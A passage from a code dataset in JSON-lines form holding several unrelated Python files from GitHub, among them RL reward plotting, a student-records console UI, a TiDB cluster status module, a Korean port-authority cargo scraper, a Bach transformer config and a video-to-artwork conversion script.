(0,4/9,4/9), label = 'Moving Average Score (n=50)')\n\nplt.legend()\nplt.xlabel(\"Episodes\")\nplt.ylabel(\"Reward\")\nplt.title('Fourth Run of Outcome Reliability Analysis')\nplt.show()\n\n#------------------------------------------------------------------------------------------------------------\n# PPO With Excessively Large EPOCHS Hyperparameter\nlarge_epoch = pd.read_csv('mean_rewards_0822_18-53-58_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison_150EpochsForNN0.csv', index_col='Episode')\nsmall_epoch = pd.read_csv('mean_rewards_0823_07-08-10_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison_2EpochsForNN0.csv', index_col='Episode')\n\nplt.plot(orc4['Score'], color = (0,4/9,4/9), label = 'Standard Score')\nplt.plot(orc4['Moving Average Score (n=50)'], color = (0,4/9,4/9), label = 'Standard MA Score (n=50)')\n\nplt.plot(large_epoch['Score'], color = 'r', label = '150 EPOCHS Score')\nplt.plot(large_epoch['Moving Average Score (n=50)'], color = 'r', label = '150 EPOCHS MA Score (n=50)')\n\nplt.plot(small_epoch['Score'], color = 'black', label = '2 EPOCHS Score')\nplt.plot(small_epoch['Moving Average Score (n=50)'], color = 'black', label = '2 EPOCHS MA Score (n=50)')\n\nplt.legend()\nplt.xlabel(\"Episodes\")\nplt.ylabel(\"Reward\")\nplt.title('PPO With Excessively Large & Small EPOCHS Hyperparameter')\nplt.show()\n\n#------------------------------------------------------------------------------------------------------------\n# # Separate NN Comparison\nsep1 = pd.read_csv('mean_rewards_0902_17-33-45_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison_separateNN_sequential.csv', index_col='Episode')\nsep2 = pd.read_csv('mean_rewards_0904_21-16-18_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison_separateNN_sequential.csv', index_col='Episode')\nsep3 = pd.read_csv('mean_rewards_0904_21-16-53_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison_separateNN_sequential.csv', index_col='Episode')\nsep4 = pd.read_csv('mean_rewards_0905_08-14-24_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison_separateNN_sequential.csv', index_col='Episode')\nsep5 = pd.read_csv('mean_rewards_0905_09-38-00_5_0.0001_0.2_Dense_512_OutcomeReliabilityComparison_separateNN_sequential.csv', index_col='Episode')\n\nalpha = 0.2\n\nplt.plot(sep1['Moving Average Score (n=50)'], color='r', alpha=alpha)\nplt.plot(sep2['Moving Average Score (n=50)'], color='r', alpha=alpha)\nplt.plot(sep3['Moving Average Score (n=50)'], color='r', alpha=alpha)\nplt.plot(sep4['Moving Average Score (n=50)'], color='r', alpha=alpha)\nplt.plot(sep5['Moving Average Score (n=50)'], color='r', alpha=alpha)\n\nfor i in range(9-3):\n    df_no = i+1+3\n    series_orc = eval('orc{}'.format(df_no))['Moving Average Score (n=50)'] #['Score']#\n    col = 'b'\n    plt.plot(series_orc, color=col, alpha=alpha)#, label = df_no)\n\nsep_average = (\n    sep1['Moving Average Score (n=50)'] + \n    sep2['Moving Average Score (n=50)'] +\n    sep3['Moving Average Score (n=50)'] +\n    sep4['Moving Average Score (n=50)'] +\n    sep5['Moving Average Score (n=50)'] \n)/5\n\norc_average = (\n    orc4['Moving Average Score (n=50)'] +\n    orc5['Moving Average Score (n=50)'] +\n    orc6['Moving Average Score (n=50)'] +\n    orc7['Moving Average Score (n=50)'] +\n    orc8['Moving Average Score (n=50)'] +\n    orc9['Moving Average Score (n=50)'] \n)/6\n\nplt.plot(orc_average, color='blue', label='Shared NNs averaged over six runs')\nplt.plot(sep_average, color='r', label='Separate NNs averaged over five runs')\n\nplt.legend()\nplt.xlabel(\"Episodes\")\nplt.ylabel(\"Reward\")\nplt.title('Shared NNs vs Separate NNs Performance')\nplt.show()","repo_name":"Paul1911/Deep-Reinforcement-Learning-with-Pong","sub_path":"Results/analyses.py","file_name":"analyses.py","file_ext":"py","file_size_in_byte":7419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73272363529","text":"from lecture.examples.ex24_gui.domain.validators import ValidationException, StudentCRUDException\n\n\nclass ConsoleUI:\n    \"\"\"\n      Class responsible with the user interface\n      Will use the controller to perform operations other than read, print\n    \"\"\"\n\n    def __init__(self, ctr):\n        \"\"\"\n          Initialise UI\n          ctr StudentControler\n        \"\"\"\n        self.__ctr = ctr\n\n    @staticmethod\n    def _read_command():\n        \"\"\"\n          Read the command from the user\n          return string, the command\n        \"\"\"\n        print(\"\"\"\n        0 - exit\n        1 - add student\n        2 - remove student\n        3 - search student\n        4 - update student\n        \"\"\")\n        return input(\"Give command:\").strip()\n\n    def _create_student(self):\n        \"\"\"\n          Read a student and store in the apllication\n        \"\"\"\n        id = input(\"Student id:\").strip()\n        name = input(\"Student name:\").strip()\n        street = input(\"Address - street:\").strip()\n        nr = input(\"Address - number:\").strip()\n        city = input(\"Address - city:\").strip()\n        try:\n            self.__ctr.create(id, name, street, nr, city)\n        except ValidationException as ex:\n            print(\"special treatment\")\n            print(ex)\n        except StudentCRUDException as ex:\n            print(ex)\n\n    def _remove_student(self):\n        \"\"\"\n          Read a student id and remove the student\n\n        \"\"\"\n        id = input(\"Student id:\").strip()\n        try:\n            st = self.__ctr.remove(id)\n            print(\"Student \" + st.name() + \" removed\")\n        except ValueError as msg:\n            print(msg)\n\n    def _search(self):\n        \"\"\"\n          Search for students with name containing a given string\n        \"\"\"\n        cr = input(\"Name contains:\").strip()\n        sts = self.__ctr.search(cr)\n        if sts == []:\n            print(\"No match\")\n            return\n        print(\"\")\n        print(\"Search results :\" + str(len(sts)) + \" students\")\n        print(\"____________________________\")\n        print(\"ID\".ljust(4) + \"Name\".ljust(10) + \"Address\")\n        for st in sts:\n            print(st.id().ljust(4) + st.name().ljust(10) + str(st.address()))\n        print(\"____________________________\")\n\n    def _update_student(self):\n        id = input(\"Give the id of the student:\").strip()\n        name = input(\"Student name:\").strip()\n        street = input(\"Address - street:\").strip()\n        nr = input(\"Address - number:\").strip()\n        city = input(\"Address - city:\").strip()\n        try:\n            old = self.__ctr.update(id, name, street, nr, city)\n            print(\"Student \" + old.name() + \" updated\")\n        except ValueError as msg:\n            print(msg)\n\n    def start(self):\n        \"\"\"\n          Start the ui\n        \"\"\"\n        while True:\n            c = self._read_command()\n            if c == \"0\":\n                print(\"Bye Bye\")\n                return\n            if c == \"1\":\n                self._create_student()\n            if c == \"2\":\n                self._remove_student()\n            if c == \"3\":\n                self._search()\n            if c == \"4\":\n                self._update_student()\n","repo_name":"cs-ubbcluj-ro/FP-2021-2022","sub_path":"src/lecture/examples/ex24_gui/ui/console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"16"}
+{"seq_id":"1407722833","text":"# coding: utf-8\n\nimport json\nimport logging\nimport os\n\nfrom tiops import modules as tcapi\nfrom tiops import utils\n\nfrom .terminal import TUIDisplay\n\n\nclass TUIModuleBase(TUIDisplay):\n    def __init__(self, inventory=None, module=None):\n        super(TUIModuleBase, self).__init__(inventory)\n\n        try:\n            self.hosts = self.inventory.servers(module)\n        except AttributeError:\n            pass\n\n\nclass TUIModule(TUIModuleBase):\n    def __init__(self, inventory=None, module=None, args=None, status=False):\n        super(TUIModule, self).__init__(inventory, module)\n        self.args = args\n        self.status = status\n\n    def display(self, listing=False):\n        if listing:\n            self._list_clusters()\n        else:\n            self._display_cluster()\n\n    def _list_clusters(self):\n        profile_dir = utils.profile_path('clusters')\n        _srv_list = [['Cluster', 'Version']]\n        for _file in utils.list_dir(profile_dir):\n            try:\n                for x in ['downloads', 'host_vars', 'tiops.log']:\n                    if x in _file:\n                        raise RuntimeError\n            except RuntimeError:\n                continue\n            if not os.path.isdir(_file):\n                continue\n\n            _cluster_name = os.path.split(_file)[1]\n            try:\n                _meta = utils.read_yaml(os.path.join(\n                    profile_dir, _file, 'meta.yaml'))\n            except EnvironmentError as e:\n                import errno\n                # only pass when the error is file not found\n                if e.errno != errno.ENOENT:\n                    raise\n                self.term.warn(\n                    'Metadata file of cluster {} not found, did the deploy process finished?'.format(_cluster_name))\n                # skip this cluster\n                continue\n            try:\n                _version = _meta['tidb_version']\n            except KeyError:\n                _version = '-'\n            _srv_list.append([_cluster_name, _version])\n\n        self.term.info('Available TiDB clusters:')\n        for row in self.format_columns(_srv_list):\n            self.term.normal(row)\n\n    def _display_cluster(self):\n        try:\n            _status = self.args.show_status\n        except AttributeError:\n            _status = self.status\n\n        cluster_home = utils.profile_path(\n            'clusters/{}'.format(self.args.cluster_name))\n        _profile_path = utils.profile_path(cluster_home, 'meta.yaml')\n        if os.path.exists(cluster_home) and os.path.exists(_profile_path):\n            cluster_info = utils.read_yaml(_profile_path)\n            info = 'TiDB cluster {}, version {}\\nNode list:'.format(\n                self.args.cluster_name, cluster_info['tidb_version'])\n            self.term.info(info)\n\n        display_info = self._format_cluster(_status)\n        for section in display_info:\n            for row in self.format_columns(section):\n                self.term.normal(row)\n\n    def _format_cluster(self, show_status=False):\n        try:\n            _role_filter = self.args.role.lower()\n        except AttributeError:\n            _role_filter = None\n        try:\n            _node_filter = self.args.node_id.lower()\n        except AttributeError:\n            _node_filter = None\n        try:\n            _ip_filter = self.args.ip_addr\n        except AttributeError:\n            _ip_filter = None\n\n        result = []\n\n        if show_status:\n            _title = ['ID', 'Role', 'Host', 'Ports',\n                      'Status', 'Data Dir', 'Deploy Dir']\n        else:\n            _title = ['ID', 'Role', 'Host', 'Ports', 'Data Dir', 'Deploy Dir']\n        srv_list = [_title]\n        for srv in self.hosts:\n            _host = srv['ip']\n            _role = srv['role']\n            _uuid = srv['uuid']\n\n            # apply filters\n            if _role_filter and _role.lower() not in _role_filter:\n                continue\n            if _node_filter and _uuid.lower() not in _node_filter:\n                continue\n            if _ip_filter and _host not in _ip_filter:\n                continue\n\n            try:\n                _port = '{}/{}'.format(srv['client_port'], srv['peer_port'])\n            except KeyError:\n                try:\n                    _port = '{}/{}'.format(srv['port'], srv['status_port'])\n                except KeyError:\n                    try:\n                        if srv.has_key('prometheus_port'):\n                            _port = '{}/{}'.format(srv['prometheus_port'],\n                                                   srv['pushgateway_port'])\n                        elif srv.has_key('node_exporter_port'):\n                            _port = '{}/{}'.format(srv['node_exporter_port'],\n                                                   srv['blackbox_exporter_port'])\n                        elif srv.has_key('web_port'):\n                            _port = '{}/{}'.format(srv['web_port'],\n                                                   srv['cluster_port'])\n                        else:\n                            _port = '{}'.format(srv['port'])\n                    except:\n                        pass\n\n            # query node status\n            if show_status:\n                _status = self.__get_status(srv)\n\n            _deploy = srv['full_deploy_dir']\n            try:\n                _data = srv['full_data_dir']\n                if srv['role'].lower() == 'tidb':\n                    _data = '-'\n            except KeyError:\n                _data = \"-\"\n\n            if show_status:\n                srv_list.append(\n                    [_uuid, _role, _host, _port, _status, _data, _deploy])\n            else:\n                srv_list.append([_uuid, _role, _host, _port, _data, _deploy])\n\n        result.append(srv_list)\n        return result\n\n    def __get_status(self, srv=None):\n        _status = '-'\n        if not srv:\n            return _status\n\n        _host = srv['ip']\n        _role = srv['role']\n        _uuid = srv['uuid']\n        if 'pd' == _role.lower():\n            _port = srv['client_port']\n            _api = tcapi.PDAPI(_host, _port)\n            try:\n                _resp = _api.status()\n                for _pd in json.loads(_resp):\n                    if _pd['name'] != _uuid:\n                        continue\n                    if _pd['health']:\n                        _status = 'Health'\n                    else:\n                        _status = 'Unhealth'\n            except:\n                return 'Down'\n            try:\n                _leader = _api.leader()\n                if _leader == _uuid:\n                    _status = '{}|L'.format(_status)\n            except:\n                return _status\n        elif 'tidb' == _role.lower():\n            _port = srv['status_port']\n            _api = tcapi.TiDBAPI(_host, _port)\n            if _api.ok():\n                _status = 'Up'\n            else:\n                _status = 'Down'\n        elif 'tikv' == _role.lower():\n            _port = srv['port']\n            _api = tcapi.ClusterAPI(self.inventory)\n            if _api.tikv_stores():\n                for store in _api.tikv_stores()['stores']:\n                    if '{}:{}'.format(_host, _port) == store['store']['address']:\n                        return store['store']['state_name']\n            if _api.tikv_tombstone():\n                for store in _api.tikv_tombstone()['stores']:\n                    if '{}:{}'.format(_host, _port) == store['store']['address']:\n                        return store['store']['state_name']\n            if _status == '-':\n                return 'Down'\n        elif 'pump' == _role.lower():\n            _uuid = srv['uuid']\n            _api = tcapi.BinlogAPI(self.inventory)\n            if _api.pump_status:\n                for _pump_id, _pump_info in _api.pump_status['status'].iteritems():\n                    if _pump_info['nodeId'] == _uuid:\n                        _status = _pump_info['state']\n                        break\n            else:\n                _status = 'Down'\n\n        elif 'drainer' == _role.lower():\n            _uuid = srv['uuid']\n            _api = tcapi.BinlogAPI(self.inventory)\n            if _api.drainer_status:\n                for _drainer in _api.drainer_status:\n                    if _uuid == _drainer['nodeId']:\n                        _status = _drainer['state']\n                        break\n            else:\n                _status = 'Down'\n\n        return _status\n","repo_name":"mwish-pingcap-company-repos/tiup","sub_path":"components/tiops/tiops/tui/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":8414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"44241281560","text":"\"\"\"South Korean ports spider.\n\nProvider: Korean Ministry of Oceans and Fisheries\nWebsite:  https://tinyurl.com/yax8vous (for debugging and verifying scraped data)\n\n\"\"\"\nimport datetime as dt\nimport json\n\nfrom scrapy import Request, Spider\n\nfrom kp_scrapers.lib.errors import InvalidCliRun\nfrom kp_scrapers.lib.parser import try_apply\nfrom kp_scrapers.lib.request import allow_inline_requests\nfrom kp_scrapers.models.normalize import DataTypes\nfrom kp_scrapers.spiders.port_authorities import PortAuthoritySpider\nfrom kp_scrapers.spiders.port_authorities.south_korea import normalize\n\n\nclass SouthKoreaSpider(PortAuthoritySpider, Spider):\n    name = 'SouthKorea'\n    provider = 'Korean MOF'\n    version = '1.1.0'\n    produces = [DataTypes.PortCall, DataTypes.Vessel, DataTypes.Cargo]\n\n    # lineup of vessel movements in selected port and date range, does not contain cargo data\n    lineup_url = 'https://new.portmis.go.kr/portmis/sp/vssl/vsch/selectSpVsslInPagingList.do'\n\n    # provides bol number which is required for POSTing the cargo_url form\n    bol_url = 'https://new.portmis.go.kr/portmis/co/como/cnlg/selectNlgUfrgtInfoPop3TabList1.do'\n    # detailed description of onboard cargo/volume/movement/charterers\n    cargo_url = 'https://new.portmis.go.kr/portmis/co/como/cnlg/selectNlgUfrgtInfo.do'\n\n    # provides dangerous goods declaration number\n    danger_goods_url = 'https://new.portmis.go.kr/portmis/fr/dgst/dinu/dinu/selectDgst1010List.do'\n    # detailed description of onboard dangerous cargo/volume/movement/charterers\n    cargo_alt_url = 'https://new.portmis.go.kr/portmis/fr/dgst/dinu/dinu/selectDgst1010Map.do'\n\n    spider_settings = {\n        # as we're accessing the website's API, duplicate filtering has to be disabled\n        'DUPEFILTER_CLASS': 'scrapy.dupefilters.BaseDupeFilter',\n        # be kind to website, so that we don't get banned permanently\n        'DOWNLOAD_DELAY': 1,\n    }\n\n    def __init__(self, port_code=None, date_range=None, **kwargs):\n        \"\"\"Init SouthKorea spider search filters.\n\n        Args:\n            port_code (str): three-digit code, see https://bit.ly/2JXbu3E for port name mapping\n            date_range (str): formatted as \"YYYYMMDD,YYYYMMDD\",\n                              defaults to \"<14-days-prior>,<7-days-in-the-future>\"\n\n        \"\"\"\n        super().__init__(**kwargs)\n\n        if not date_range:\n            start = dt.datetime.strftime(dt.datetime.utcnow() - dt.timedelta(days=14), '%Y%m%d')\n            end = dt.datetime.strftime(dt.datetime.utcnow() + dt.timedelta(days=7), '%Y%m%d')\n            date_range = start + ',' + end\n        else:\n            if len(date_range.split(',')) != 2:\n                raise InvalidCliRun('date_range', repr(date_range))\n\n            start, end = date_range.split(',')\n            if not try_apply(date_range.split(',')[0], int):\n                raise InvalidCliRun('date_range(start)', repr(date_range.split(',')[0]))\n\n            if not try_apply(date_range.split(',')[1], int):\n                raise InvalidCliRun('date_range(end)', repr(date_range.split(',')[1]))\n\n        # choose whether we'd like to limit data extraction to only a single port\n        self.limit_port_code = str(port_code) if port_code else None\n        # WARNING setting a large date_range may result in excessively long run times\n        self.start_date = start\n        self.end_date = end\n        self.filters = kwargs\n\n    def start_requests(self):\n        \"\"\"Request list of vessel lineup for specified port and date ranges.\n\n        Yields:\n            Request:\n\n        \"\"\"\n        for port_code in normalize.PORT_MAPPING.keys():\n            if self.limit_port_code and self.limit_port_code != port_code:\n                self.logger.info(\"Skip data extraction for port_code=%s\", port_code)\n                continue\n\n            form = {\n                'bargeClsgn1': '',  # optional\n                'bargeVsslNm': '',  # optional\n                'clsgn': '',  # optional\n                'currentPageNo': 1,\n                'etryptTkoffDt': '',  # optional\n                'ibobprtSe': '1',\n                'prtAgCd': port_code,\n                'prtAgNm': '',  # optional\n                'recordCount': 1000000,  # reasonably large enough number for long date ranges\n                'reqstSe': 'all',\n                'srchBeginEtryndDt': self.start_date,\n                'srchEndEtryndDt': self.end_date,\n                'vsslInnb': '',  # optional\n                'vsslNm': '',  # optional\n            }\n            form.update(self.filters)\n            yield Request(\n                url=self.lineup_url,\n                callback=self.collect_responses,\n                method='POST',\n                headers={'content-type': 'application/json; charset=utf-8'},\n                body=json.dumps({'dmaParam': form}),\n            )\n\n    @staticmethod\n    def init_form_bol(**opts):\n        \"\"\"Init form data for POSTing.\n\n        Args:\n            opts (list[str]):\n\n        Returns:\n            str: json-formatted string\n\n        \"\"\"\n        return json.dumps(\n            {\n                'dmaParam': {\n                    'prtAgCd': opts.get('prtAgCd'),\n                    'clsgn': opts.get('clsgn'),\n                    'vsslNm': opts.get('vsslNm'),\n                    'etryptYear': opts.get('etryptYear'),\n                    'etryptCo': opts.get('etryptCo'),\n                    'entrpsCd': '',  # optional\n                    'entrpsNm': '',  # optional\n                    'tkinTkoutSe': '',  # optional\n                    'lnlMthCd': '',  # optional\n                    'conTp': 'A',\n                    'lnlEntrpsCd': '',  # optional\n                    'currentPageNo': 1,\n                    'recordCount': 5000,\n                    'stcPopGb': '',  # optional\n                    'vsslInnb': opts.get('vsslInnb'),\n                    'unityFrghtUpdtOdr': '',  # optional\n                }\n            }\n        )\n\n    @staticmethod\n    def init_form_bol_cargo(**opts):\n        \"\"\"Init form data for POSTing.\n\n        Args:\n            opts (list[str]):\n\n        Returns:\n            str: json-formatted string\n\n        \"\"\"\n        return json.dumps(\n            {\n                'dmaParam': {\n                    'prtAgCd': opts.get('prtAgCd'),\n                    'clsgn': opts.get('clsgn'),\n                    'etryptYear': opts.get('etryptYear'),\n                    'etryptCo': opts.get('etryptCo'),\n                    'entrpsCd': opts.get('entrpsCd'),\n                    'tkinTkoutSe': opts.get('tkinTkoutSe'),\n                    'lnlMthCd': '',  # optional\n                    'blNo': opts.get('blNo'),\n                    'unityFrghtUpdtOdr': 1,\n                }\n            }\n        )\n\n    @staticmethod\n    def init_form_decl(**opts):\n        \"\"\"Init form data for POSTing.\n\n        Args:\n            opts (list[str]):\n\n        Returns:\n            str: json-formatted string\n\n        \"\"\"\n        # goods declaration submission date is not indicated anywhere\n        # we therefore need to widen the search range, to 6 days before the vessel arrival date\n        lower_date = dt.datetime.strptime(opts['etryptDt'][:-4], '%Y%m%d') - dt.timedelta(days=6)\n        if opts.get('tkOfftkoffDt'):  # may not be present always\n            upper_date = dt.datetime.strptime(opts['tkoffDt'][:-4], '%Y%m%d')\n        else:\n            upper_date = dt.datetime.strptime(opts['etryptDt'][:-4], '%Y%m%d')\n\n        return json.dumps(\n            {\n                'dmaParam': {\n                    'clsgn': opts.get('clsgn'),\n                    'currentPageNo': 1,\n                    'entrpsCd': '',  # optional\n                    'entrpsCdNm': '',  # optional\n                    'fromReqstDt': lower_date.strftime('%Y%m%d'),\n                    'prtAgCd': opts.get('prtAgCd'),\n                    'recordCount': 5000,\n                    'toReqstDt': upper_date.strftime('%Y%m%d'),\n                }\n            }\n        )\n\n    @staticmethod\n    def init_form_decl_cargo(**opts):\n        \"\"\"Init form data for POSTing.\n\n        Args:\n            opts (list[str]):\n\n        Returns:\n            str: json-formatted string\n\n        \"\"\"\n        return json.dumps(\n            {\n                'dmaDetailParam': {\n                    'recordDngrCount': 1000,\n                    'tkinSe': opts.get('tkinSe'),\n                    'vsslInnb': opts.get('vsslInnb'),\n                    'currentDngrPageNo': 1,\n                    'satmntUpdtOdr': 1,\n                    'recordCargCount': 5000,\n                    'etryptCo': opts.get('etryptCo'),\n                    'currentCargPageNo': 1,\n                    'prtAgCd': opts.get('prtAgCd'),\n                    'etryptYear': opts.get('etryptYear'),\n                }\n            }\n        )\n\n    def post(self, url, form, **kwargs):\n        \"\"\"Post form.\n\n        Args:\n            url (str): post endpoint\n            form (str): json-deserialised string\n            kwargs (dict[str, str]): additional meta to append to response\n\n        Returns:\n            scrapy.Request:\n\n        \"\"\"\n        return Request(\n            url=url,\n            method='POST',\n            headers={'content-type': 'application/json; charset=utf-8'},\n            body=form,\n            meta=kwargs,\n        )\n\n    @allow_inline_requests\n    def collect_responses(self, response):\n        \"\"\"Collect all POST responses.\n\n        Serialise json response.\n        Transform into raw dict.\n\n        Args:\n            response (scrapy.Response):\n\n        Yields:\n            Dict[str, str]:\n\n        \"\"\"\n        # each vessel in the lineup has a number of BOLs or goods declaration associated with it\n        length = len(json.loads(response.body)['dltInOutList'])\n        for idx, raw_item in enumerate(json.loads(response.body)['dltInOutList']):\n            raw_item['cargoes'] = []\n            self.logger.info(\n                'Port {} ({}/{}) : Vessel {} (IMO {}) (Callsign {}) (Type {})'.format(\n                    raw_item['prtAgCd'],\n                    idx + 1,\n                    length,\n                    raw_item['vsslNm'],\n                    raw_item['vsslInnb'],\n                    raw_item['clsgn'],\n                    raw_item['vsslKindNm'],\n                )\n            )\n\n            # NOTE technically this should be in `normalize.py`,\n            # but putting this here cuts down on run times by more than 80 %\n            if raw_item['vsslKindNm'] not in normalize.IRRELEVANT_VESSEL_TYPES:\n\n                # each BOL contains product/volume/movement/charterers data\n                bol_numbers = yield self.post(\n                    url=self.bol_url, form=self.init_form_bol(**raw_item), **raw_item\n                )\n                for bol_number in json.loads(bol_numbers.body)['dltList1']:\n                    raw_item.update(bol_number)\n                    # get individual cargo data and append to list of cargoes\n                    bol_cargo = yield self.post(\n                        url=self.cargo_url, form=self.init_form_bol_cargo(**raw_item), **raw_item\n                    )\n                    raw_cargo = json.loads(bol_cargo.body)['dmaRstMap1']\n                    # there are errors on the website sometimes where it does not return any cargo\n                    if not raw_cargo:\n                        continue\n\n                    # Sometimes, BOL will show \"TANK\" as the product, which is incorrect\n                    # this is a one-off special case where we do not want this product\n                    if any(tank in raw_cargo['frghtNm'] for tank in ['TANK', 'TNK']):\n                        continue\n\n                    raw_item['cargoes'].append(raw_cargo)\n\n                # sometimes, BOL will not be present (i.e. 'cargoes' will be empty)\n                if not raw_item['cargoes']:\n                    # if so, search for goods declaration sheets related to that vessel\n                    # declaration contains a key needed for obtaining the dangerous goods data\n                    declarations = yield self.post(\n                        url=self.danger_goods_url, form=self.init_form_decl(**raw_item), **raw_item\n                    )\n                    declarations = json.loads(declarations.body)['dtlDgst1010List']\n                    for idx, decl in enumerate(declarations):\n                        # possible to have more than one goods declaration form for one port call\n                        # if so, take the latest, most up-to-date goods declaration\n                        if idx + 1 != len(declarations):\n                            continue\n\n                        raw_item.update(decl)\n                        # get list of all dangerous cargo onboard from declaration sheet\n                        danger_cargoes = yield self.post(\n                            url=self.cargo_alt_url,\n                            form=self.init_form_decl_cargo(**raw_item),\n                            **raw_item,\n                        )\n\n                        danger_cargo = json.loads(danger_cargoes.body)['dtlDgst1010Map']\n                        raw_item['cargoes'].append(danger_cargo)\n\n                # contextualise raw item with metadata\n                raw_item.update(provider_name=self.provider)\n                yield normalize.process_item(raw_item)\n","repo_name":"theHausdorffMetric/test","sub_path":"kp_scrapers/spiders/port_authorities/south_korea/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":13272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19417404728","text":"from pathlib import Path\n\nconfig = {\n    'dataset':                     'bach',\n    'random_seed':                  22,\n\n    # --- Dataloader ---\n    'dataloader_generator_kwargs': dict(\n        include_transpositions=True,\n        sequences_size=24,\n    ),\n\n    # --- DataProcessor ---\n    'data_processor_type':         'bach',\n    'data_processor_kwargs':       dict(\n        embedding_size=32\n    ),\n\n    # --- Decoder ---\n    'decoder_type':                'transformer_relative',\n    'decoder_kwargs':              dict(\n        d_model=512,\n        n_head=8,\n        num_encoder_layers=4,\n        num_decoder_layers=8,\n        dim_feedforward=2048,\n        positional_embedding_size=8,\n        dropout=0.1,\n    ),\n\n    # ======== Generation =======\n    'generation_kwargs':           dict(\n        temperature=0.9,\n        top_p=0.8,\n    ),\n\n    # ======== model ID ========\n    'timestamp':                   None,\n    'savename':                    'aug-gen',\n\n    # ======== Augmentative Generation ========\n    'num_epochs':                  40,\n    'generations_per_epoch':       50,\n    'lr':                          1e-5,\n    'batch_size':                  8,\n    'num_batches':                 2048,\n\n    # ======== Training ========\n    # 'num_epochs':                  40,\n    # 'lr':                          1e-5,\n    # 'batch_size':                  8,\n    # 'num_batches':                 2048,\n}\n","repo_name":"toufic0710/constraint-transformer-bach","sub_path":"transformer_bach/bach_decoder_config.py","file_name":"bach_decoder_config.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"36181487331","text":"import cv2 as cv\nimport time\nimport os\nimport sys\nimport signal\nimport argparse\nimport threading\nimport readline\nfrom subprocess import call\n# was renamed in python 3 (python 2 Queue)\nif sys.version_info[0] < 3:\n    import Queue as queue\n    from Queue import Queue\nelse:\n    import queue\n    from queue import Queue\n\n\ncommands = [\"ArtWork\", \"artwork\", \"Artwork\", \"artWork\", \".mp4\", \".avi\", \".mov\", \".xml\"]\n\n\ndef ArtWorkScriptError(error):\n    \"\"\"\n    Dummy error printer\n    :param error:\n    :return:\n    \"\"\"\n    print(error)\n    exit(0)\n\n\ndef signal_handler(signum, frame):\n    if os.path.exists(\"frames\"):\n        call([\"rm\", \"-Rf\", \"frames\"])\n    sys.exit()\n\n\ndef completer(text, state):\n    options = [x for x in commands if x.startswith(text)]\n    try:\n        return options[state]\n    except IndexError:\n        return None\n\n\ndef process_frame_queue(path_to_artwork, path_to_xml):\n    while True:\n        try:\n            frameVal = q.get(True, 0.05)\n            call(path_to_artwork + \" -i \" + frameVal + \" -o \" + frameVal + \" \" + path_to_xml, shell=True)\n            q.task_done()\n        except queue.Empty:\n            break\n\n\nif __name__ == '__main__':\n\n    # add signal handler if user exits the script with CTRL+C\n    signal.signal(signal.SIGINT, signal_handler)\n\n    # add autocomplete to command line arguments\n    readline.set_completer(completer)\n    readline.parse_and_bind(\"tab: completer\")\n\n    # add argument parser for command line arguments from user\n    parser = argparse.ArgumentParser(description=\"ArtWork-Video-Script: Converts an video into an artwork video.\",\n                                     epilog=\"For more information check www.github.com/ckreisl\",\n                                     conflict_handler=\"resolve\")\n    parser.add_argument(\"-i\",\n                        metavar=\"[video]\",\n                        help=\"Loads the video from a given file path\",\n                        required=True,\n                        type=str)\n    parser.add_argument(\"-o\",\n                        metavar=\"[name]\",\n                        help=\"Saves the processed video under the denoted output name\",\n                        required=True,\n                        type=str)\n    parser.add_argument(\"-a\",\n                        metavar=\"[artwork]\",\n                        help=\"Path to your compiled artwork executable\",\n                        required=True,\n                        type=str)\n    parser.add_argument(\"-s\",\n                        metavar=\"[xml]\",\n                        help=\"Path to your rendersettings XML file\",\n                        required=True,\n                        type=str)\n    parser.add_argument(\"-p\",\n                        metavar=\"[CORES]\",\n                        help=\"How many threads should be used (default: 4)\",\n                        type=int,\n                        default=4)\n    parser.add_argument(\"-f\",\n                        metavar=\"[FPS]\",\n                        help=\"Set FPS for your output video (default: FPS_INPUT_VIDEO)\",\n                        type=float)\n    parser.add_argument(\"-n\",\n                        metavar=\"[FRAME]\",\n                        help=\"Convert every N frame only (default: 1 this means convert every single frame)\",\n                        type=int,\n                        default=1)\n\n    # get user input from command line parameters\n    args = vars(parser.parse_args())\n\n    (first, second, third) = cv.__version__.split('.')\n\n    # check used OpenCV version\n    if int(first) < 3:\n        ArtWorkScriptError(\"OpenCV v.\" + str(cv.__version__) + \" < 3 not supported by this script\")\n\n    # check if we are on unix linux system\n    if not sys.platform == \"linux\" and not sys.platform == \"linux2\":\n        ArtWorkScriptError(\"This script is currently only running with Unix Linux. \\n\"\n              \"If you like to change this, let me know or send me a pull request.\")\n\n    # parse command line arguments\n    NUM_THREADS = args[\"p\"]\n    FPS_VIDEO = args[\"f\"]\n    N_FRAME = args[\"n\"]\n    pathToVideo = args[\"i\"]\n    outputName = args[\"o\"]\n    pathToArtWork = args[\"a\"]\n    pathToXML = args[\"s\"]\n\n    # artwork is in current directory\n    if \"/\" not in pathToArtWork:\n        pathToArtWork = \"./\" + pathToArtWork\n\n    # check given path to ArtWork executable\n    if not os.path.isfile(pathToArtWork):\n        ArtWorkScriptError(\"ArtWork executable could not be found in: \" + pathToArtWork + \" path.\")\n\n    # check if video input file exists\n    if not os.path.isfile(pathToVideo):\n        ArtWorkScriptError(\"Video file could not be found in: \" + pathToVideo + \" path.\")\n\n    # check if XML file exists\n    if not os.path.isfile(pathToXML):\n        ArtWorkScriptError(\"XML file could not be found in: \" + pathToXML + \" path.\")\n\n    # process image and convert frames\n    videoIn = cv.VideoCapture(pathToVideo)\n    success, image = videoIn.read()\n\n    if not success:\n        ArtWorkScriptError(\"Could not load frame from video\")\n\n    # set output fps to input fps\n    if FPS_VIDEO is None:\n        FPS_VIDEO = videoIn.get(cv.CAP_PROP_FPS)\n\n    # frame width 